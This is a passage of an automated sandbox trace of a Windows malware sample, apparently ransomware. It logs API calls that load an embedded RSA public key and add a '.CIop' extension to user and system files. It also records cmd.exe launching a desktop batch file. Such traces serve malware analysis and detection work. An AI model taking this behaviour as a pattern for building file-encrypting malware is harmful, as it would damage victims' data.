MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0158.972] lstrcpyW (in: lpString1=0x53f368, lpString2="Favorites.vssx" | out: lpString1="Favorites.vssx") returned="Favorites.vssx" [0158.972] lstrcpyW (in: lpString1=0x53f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\" [0158.972] SetErrorMode (uMode=0x1) returned 0x1 [0158.972] wsprintfW (in: param_1=0x53eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\Favorites.vssx") returned 60 [0158.972] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\Favorites.vssx", dwFileAttributes=0x20) returned 1 [0158.972] StrStrW (lpFirst="Favorites.vssx", lpSrch=".CIop") returned 0x0 [0158.972] wsprintfW (in: param_1=0x53e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\Favorites.vssx.CIop") returned 65 Thread: id = 243 os_tid = 0x950 [0169.112] lstrcpyA (in: lpString1=0x53e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0169.112] lstrcpyW (in: lpString1=0x53f368, lpString2="bootmgr" | out: lpString1="bootmgr") returned="bootmgr" [0169.112] lstrcpyW (in: lpString1=0x53f768, lpString2="\\\\?\\C:\\" | out: lpString1="\\\\?\\C:\\") returned="\\\\?\\C:\\" [0169.112] SetErrorMode (uMode=0x1) returned 0x1 [0169.112] wsprintfW (in: param_1=0x53eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\bootmgr") returned 14 [0169.112] SetFileAttributesW (lpFileName="\\\\?\\C:\\bootmgr", dwFileAttributes=0x20) returned 0 [0169.113] StrStrW (lpFirst="bootmgr", lpSrch=".CIop") returned 0x0 [0169.113] wsprintfW (in: param_1=0x53e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\bootmgr.CIop") returned 19 [0169.113] CreateFileW (lpFileName="\\\\?\\C:\\bootmgr" (normalized: "c:\\bootmgr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff Thread: id = 244 os_tid = 0xeb8 [0169.190] lstrcpyA (in: lpString1=0x53e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0169.190] lstrcpyW (in: lpString1=0x53f368, lpString2="Favorites.vssx" | out: lpString1="Favorites.vssx") returned="Favorites.vssx" [0169.190] lstrcpyW (in: lpString1=0x53f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\" [0169.190] SetErrorMode (uMode=0x1) returned 0x1 [0169.190] wsprintfW (in: param_1=0x53eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\Favorites.vssx") returned 60 [0169.190] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\Favorites.vssx", dwFileAttributes=0x20) returned 1 [0169.191] StrStrW (lpFirst="Favorites.vssx", lpSrch=".CIop") returned 0x0 [0169.191] wsprintfW (in: param_1=0x53e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\Favorites.vssx.CIop") returned 65 Thread: id = 245 os_tid = 0x0 Thread: id = 246 os_tid = 0xea4 Process: id = "2" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x4771b000" os_pid = "0xdac" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0xd34" cmd_line = "C:\\Windows\\system32\\cmd.exe /c \"\"C:\\Users\\CIiHmnxMn6Ps\\Desktop\\clearnetworkdns_11-22-33.bat\" \"" cur_dir = "C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" os_username = "LHNIWSJ\\CIiHmnxMn6Ps" os_groups = "LHNIWSJ\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00013da5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 524 start_va = 0xad0000 end_va = 0xaeffff entry_point = 0x0 region_type = private name = "private_0x0000000000ad0000" filename = "" Region: id = 525 start_va = 0xaf0000 end_va = 0xaf1fff entry_point = 0x0 region_type = private name = "private_0x0000000000af0000" filename = "" Region: id = 526 start_va = 0xb00000 end_va = 0xb13fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b00000" filename = "" Region: id = 527 start_va = 0xb20000 end_va = 0xb5ffff entry_point = 0x0 region_type = private name = "private_0x0000000000b20000" filename = "" Region: id = 528 start_va = 0xb60000 end_va = 0xc5ffff entry_point = 0x0 region_type = private name = "private_0x0000000000b60000" filename = "" Region: id = 529 start_va = 0xc60000 end_va = 0xc63fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000c60000" filename = "" Region: id = 530 start_va = 0xc70000 end_va = 0xc70fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000c70000" filename = "" Region: id = 531 start_va = 0xc80000 end_va = 0xc81fff entry_point = 0x0 region_type = private name = "private_0x0000000000c80000" filename = "" Region: id = 532 start_va = 0xfa0000 end_va = 0xfeffff entry_point = 0xfa0000 region_type = mapped_file name = "cmd.exe" filename = "\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe") Region: id = 533 start_va = 0xff0000 end_va = 0x4feffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ff0000" filename = "" Region: id = 534 start_va = 0x776b0000 end_va = 0x77828fff entry_point = 0x776b0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 535 start_va = 0x7e9e0000 end_va = 0x7ea02fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007e9e0000" filename = "" Region: id = 536 start_va = 0x7ea0b000 end_va = 0x7ea0dfff entry_point = 0x0 region_type = private name = "private_0x000000007ea0b000" filename = "" Region: id = 537 start_va = 0x7ea0e000 end_va = 0x7ea0efff entry_point = 0x0 region_type = private name = "private_0x000000007ea0e000" filename = "" Region: id = 538 start_va = 0x7ea0f000 end_va = 0x7ea0ffff entry_point = 0x0 region_type = private name = "private_0x000000007ea0f000" filename = "" Region: id = 539 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 540 start_va = 0x7fff0000 end_va = 0x7dfc57b4ffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 541 start_va = 0x7dfc57b50000 end_va = 0x7ffc57b4ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007dfc57b50000" filename = "" Region: id = 542 start_va = 0x7ffc57b50000 end_va = 0x7ffc57d11fff entry_point = 0x7ffc57b50000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 543 start_va = 0x7ffc57d12000 end_va = 0x7ffffffeffff entry_point = 0x0 region_type = private name = "private_0x00007ffc57d12000" filename = "" Region: id = 544 start_va = 0xcc0000 end_va = 0xccffff entry_point = 0x0 region_type = private name = "private_0x0000000000cc0000" filename = "" Region: id = 545 start_va = 0x5bab0000 end_va = 0x5bb22fff entry_point = 0x5bab0000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 546 start_va = 0x5bb30000 end_va = 0x5bb7efff entry_point = 0x5bb30000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 547 start_va = 0x5baa0000 end_va = 0x5baa7fff entry_point = 0x5baa0000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 619 start_va = 0xad0000 end_va = 0xadffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ad0000" filename = "" Region: id = 620 start_va = 0xcd0000 end_va = 0xd8dfff entry_point = 0xcd0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 621 start_va = 0xd90000 end_va = 0xdcffff entry_point = 0x0 region_type = private name = "private_0x0000000000d90000" filename = "" Region: id = 622 start_va = 0xe20000 end_va = 0xe2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000e20000" filename = "" Region: id = 623 start_va = 0xe50000 end_va = 0xf4ffff entry_point = 0x0 region_type = private name = "private_0x0000000000e50000" filename = "" Region: id = 624 start_va = 0x4ff0000 end_va = 0x50effff entry_point = 0x0 region_type = private name = "private_0x0000000004ff0000" filename = "" Region: id = 625 start_va = 0x74f40000 end_va = 0x7502ffff entry_point = 0x74f40000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 626 start_va = 0x75190000 end_va = 0x75305fff entry_point = 0x75190000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 627 start_va = 0x76f20000 end_va = 0x76fddfff entry_point = 0x76f20000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 628 start_va = 0x7e8e0000 end_va = 0x7e9dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007e8e0000" filename = "" Region: id = 629 start_va = 0x7ea08000 end_va = 0x7ea0afff entry_point = 0x0 region_type = private name = "private_0x000000007ea08000" filename = "" Region: id = 630 start_va = 0xae0000 end_va = 0xae3fff entry_point = 0x0 region_type = private name = "private_0x0000000000ae0000" filename = "" Region: id = 631 start_va = 0xaf0000 end_va = 0xaf3fff entry_point = 0x0 region_type = private name = "private_0x0000000000af0000" filename = "" Region: id = 632 start_va = 0x74310000 end_va = 0x74317fff entry_point = 0x74310000 region_type = mapped_file name = "cmdext.dll" filename = "\\Windows\\SysWOW64\\cmdext.dll" (normalized: "c:\\windows\\syswow64\\cmdext.dll") Region: id = 633 start_va = 0x77550000 end_va = 0x775cafff entry_point = 0x77550000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 634 start_va = 0x772b0000 end_va = 0x772f2fff entry_point = 0x772b0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 635 start_va = 0x74a00000 end_va = 0x74aabfff entry_point = 0x74a00000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 636 start_va = 0x747c0000 end_va = 0x747ddfff entry_point = 0x747c0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 637 start_va = 0x747b0000 end_va = 0x747b9fff entry_point = 0x747b0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 638 start_va = 0x74750000 end_va = 0x747a8fff entry_point = 0x74750000 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 639 start_va = 0xc90000 end_va = 0xc9ffff entry_point = 0x0 region_type = private name = "private_0x0000000000c90000" filename = "" Region: id = 640 start_va = 0x50f0000 end_va = 0x5426fff entry_point = 0x50f0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 783 start_va = 0xdd0000 end_va = 0xdf0fff entry_point = 0xdd0000 region_type = mapped_file name = "cmd.exe.mui" filename = "\\Windows\\SysWOW64\\en-US\\cmd.exe.mui" (normalized: "c:\\windows\\syswow64\\en-us\\cmd.exe.mui") Thread: id = 9 os_tid = 0xdb0 [0072.606] GetModuleHandleA (lpModuleName=0x0) returned 0xfa0000 [0072.606] __set_app_type (_Type=0x1) [0072.606] __p__fmode () returned 0x76fd4d6c [0072.606] __p__commode () returned 0x76fd5b1c [0072.606] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xfb36e0) returned 0x0 [0072.607] __getmainargs (in: _Argc=0xfc50e8, _Argv=0xfc50ec, _Env=0xfc50f0, _DoWildCard=0, _StartInfo=0xfc50fc | out: _Argc=0xfc50e8, _Argv=0xfc50ec, _Env=0xfc50f0) returned 0 [0072.607] GetCurrentThreadId () returned 0xdb0 [0072.607] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xdb0) returned 0x84 [0072.607] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x74f40000 [0072.607] GetProcAddress (hModule=0x74f40000, lpProcName="SetThreadUILanguage") returned 0x74f82780 [0072.607] SetThreadUILanguage (LangId=0x0) returned 0x409 [0072.612] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0072.612] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0xc5f984 | out: phkResult=0xc5f984*=0x0) returned 0x2 [0072.612] VirtualQuery (in: lpAddress=0xc5f98b, lpBuffer=0xc5f93c, dwLength=0x1c | out: lpBuffer=0xc5f93c*(BaseAddress=0xc5f000, AllocationBase=0xb60000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0072.612] VirtualQuery (in: lpAddress=0xb60000, lpBuffer=0xc5f93c, dwLength=0x1c | out: lpBuffer=0xc5f93c*(BaseAddress=0xb60000, AllocationBase=0xb60000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0072.612] VirtualQuery (in: lpAddress=0xb61000, lpBuffer=0xc5f93c, dwLength=0x1c | out: lpBuffer=0xc5f93c*(BaseAddress=0xb61000, AllocationBase=0xb60000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0072.612] VirtualQuery (in: lpAddress=0xb63000, lpBuffer=0xc5f93c, dwLength=0x1c | out: lpBuffer=0xc5f93c*(BaseAddress=0xb63000, AllocationBase=0xb60000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0072.612] VirtualQuery (in: lpAddress=0xc60000, lpBuffer=0xc5f93c, dwLength=0x1c | out: lpBuffer=0xc5f93c*(BaseAddress=0xc60000, AllocationBase=0xc60000, AllocationProtect=0x2, RegionSize=0x4000, State=0x1000, Protect=0x2, Type=0x40000)) returned 0x1c [0072.612] GetConsoleOutputCP () returned 0x1b5 [0072.613] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xfce460 | out: lpCPInfo=0xfce460) returned 1 [0072.613] SetConsoleCtrlHandler (HandlerRoutine=0xfbf980, Add=1) returned 1 [0072.614] _get_osfhandle (_FileHandle=1) returned 0x3c [0072.614] SetConsoleMode (hConsoleHandle=0x3c, dwMode=0x0) returned 1 [0072.615] _get_osfhandle (_FileHandle=1) returned 0x3c [0072.615] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xfce40c | out: lpMode=0xfce40c) returned 1 [0072.616] _get_osfhandle (_FileHandle=1) returned 0x3c [0072.616] SetConsoleMode (hConsoleHandle=0x3c, dwMode=0x3) returned 1 [0072.616] _get_osfhandle (_FileHandle=0) returned 0x38 [0072.616] GetConsoleMode (in: hConsoleHandle=0x38, lpMode=0xfce408 | out: lpMode=0xfce408) returned 1 [0072.621] _get_osfhandle (_FileHandle=0) returned 0x38 [0072.621] SetConsoleMode (hConsoleHandle=0x38, dwMode=0x1e7) returned 1 [0072.622] GetEnvironmentStringsW () returned 0xe57e30* [0072.623] FreeEnvironmentStringsA (penv="A") returned 1 [0072.623] GetEnvironmentStringsW () returned 0xe57e30* [0072.623] FreeEnvironmentStringsA (penv="A") returned 1 [0072.623] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0xc5e8e8 | out: phkResult=0xc5e8e8*=0x94) returned 0x0 [0072.623] RegQueryValueExW (in: hKey=0x94, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0xc5e8ec, lpData=0xc5e8f4, lpcbData=0xc5e8f0*=0x1000 | out: lpType=0xc5e8ec*=0x0, lpData=0xc5e8f4*=0xc2, lpcbData=0xc5e8f0*=0x1000) returned 0x2 [0072.623] RegQueryValueExW (in: hKey=0x94, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0xc5e8ec, lpData=0xc5e8f4, lpcbData=0xc5e8f0*=0x1000 | out: lpType=0xc5e8ec*=0x4, lpData=0xc5e8f4*=0x1, lpcbData=0xc5e8f0*=0x4) returned 0x0 [0072.623] RegQueryValueExW (in: hKey=0x94, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0xc5e8ec, lpData=0xc5e8f4, lpcbData=0xc5e8f0*=0x1000 | out: lpType=0xc5e8ec*=0x0, lpData=0xc5e8f4*=0x1, lpcbData=0xc5e8f0*=0x1000) returned 0x2 [0072.623] RegQueryValueExW (in: hKey=0x94, lpValueName="DefaultColor", lpReserved=0x0, lpType=0xc5e8ec, lpData=0xc5e8f4, lpcbData=0xc5e8f0*=0x1000 | out: lpType=0xc5e8ec*=0x4, lpData=0xc5e8f4*=0x0, lpcbData=0xc5e8f0*=0x4) returned 0x0 [0072.623] RegQueryValueExW (in: hKey=0x94, lpValueName="CompletionChar", lpReserved=0x0, lpType=0xc5e8ec, lpData=0xc5e8f4, lpcbData=0xc5e8f0*=0x1000 | out: lpType=0xc5e8ec*=0x4, lpData=0xc5e8f4*=0x40, lpcbData=0xc5e8f0*=0x4) returned 0x0 [0072.623] RegQueryValueExW (in: hKey=0x94, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0xc5e8ec, lpData=0xc5e8f4, lpcbData=0xc5e8f0*=0x1000 | out: lpType=0xc5e8ec*=0x4, lpData=0xc5e8f4*=0x40, lpcbData=0xc5e8f0*=0x4) returned 0x0 [0072.623] RegQueryValueExW (in: hKey=0x94, lpValueName="AutoRun", lpReserved=0x0, lpType=0xc5e8ec, lpData=0xc5e8f4, lpcbData=0xc5e8f0*=0x1000 | out: lpType=0xc5e8ec*=0x0, lpData=0xc5e8f4*=0x40, lpcbData=0xc5e8f0*=0x1000) returned 0x2 [0072.623] RegCloseKey (hKey=0x94) returned 0x0 [0072.624] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0xc5e8e8 | out: phkResult=0xc5e8e8*=0x94) returned 0x0 [0072.624] RegQueryValueExW (in: hKey=0x94, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0xc5e8ec, lpData=0xc5e8f4, lpcbData=0xc5e8f0*=0x1000 | out: lpType=0xc5e8ec*=0x0, lpData=0xc5e8f4*=0x40, lpcbData=0xc5e8f0*=0x1000) returned 0x2 [0072.624] RegQueryValueExW (in: hKey=0x94, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0xc5e8ec, lpData=0xc5e8f4, lpcbData=0xc5e8f0*=0x1000 | out: lpType=0xc5e8ec*=0x4, lpData=0xc5e8f4*=0x1, lpcbData=0xc5e8f0*=0x4) returned 0x0 [0072.624] RegQueryValueExW (in: hKey=0x94, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0xc5e8ec, lpData=0xc5e8f4, lpcbData=0xc5e8f0*=0x1000 | out: lpType=0xc5e8ec*=0x0, lpData=0xc5e8f4*=0x1, lpcbData=0xc5e8f0*=0x1000) returned 0x2 [0072.624] RegQueryValueExW (in: hKey=0x94, lpValueName="DefaultColor", lpReserved=0x0, lpType=0xc5e8ec, lpData=0xc5e8f4, lpcbData=0xc5e8f0*=0x1000 | out: lpType=0xc5e8ec*=0x4, lpData=0xc5e8f4*=0x0, lpcbData=0xc5e8f0*=0x4) returned 0x0 [0072.624] RegQueryValueExW (in: hKey=0x94, lpValueName="CompletionChar", lpReserved=0x0, lpType=0xc5e8ec, lpData=0xc5e8f4, lpcbData=0xc5e8f0*=0x1000 | out: lpType=0xc5e8ec*=0x4, lpData=0xc5e8f4*=0x9, lpcbData=0xc5e8f0*=0x4) returned 0x0 [0072.624] RegQueryValueExW (in: hKey=0x94, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0xc5e8ec, lpData=0xc5e8f4, lpcbData=0xc5e8f0*=0x1000 | out: lpType=0xc5e8ec*=0x4, lpData=0xc5e8f4*=0x9, lpcbData=0xc5e8f0*=0x4) returned 0x0 [0072.624] RegQueryValueExW (in: hKey=0x94, lpValueName="AutoRun", lpReserved=0x0, lpType=0xc5e8ec, lpData=0xc5e8f4, lpcbData=0xc5e8f0*=0x1000 | out: lpType=0xc5e8ec*=0x0, lpData=0xc5e8f4*=0x9, lpcbData=0xc5e8f0*=0x1000) returned 0x2 [0072.624] RegCloseKey (hKey=0x94) returned 0x0 [0072.624] time (in: timer=0x0 | out: timer=0x0) returned 0x5c7abdf1 [0072.624] srand (_Seed=0x5c7abdf1) [0072.624] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /c \"\"C:\\Users\\CIiHmnxMn6Ps\\Desktop\\clearnetworkdns_11-22-33.bat\" \"" [0072.624] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /c \"\"C:\\Users\\CIiHmnxMn6Ps\\Desktop\\clearnetworkdns_11-22-33.bat\" \"" [0072.624] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0xfd6720 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 0x1d [0072.624] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xe59d88, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0072.625] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0xfce4a0, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x87 [0072.625] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0xfce4a0, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0072.625] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0xfce4a0, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0072.625] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0072.625] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0072.625] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0072.625] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0072.625] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0072.625] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0072.625] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0072.625] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0072.625] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0072.625] GetEnvironmentStringsW () returned 0xe57e30* [0072.625] FreeEnvironmentStringsA (penv="A") returned 1 [0072.625] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0xfce4a0, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0072.625] GetEnvironmentVariableW 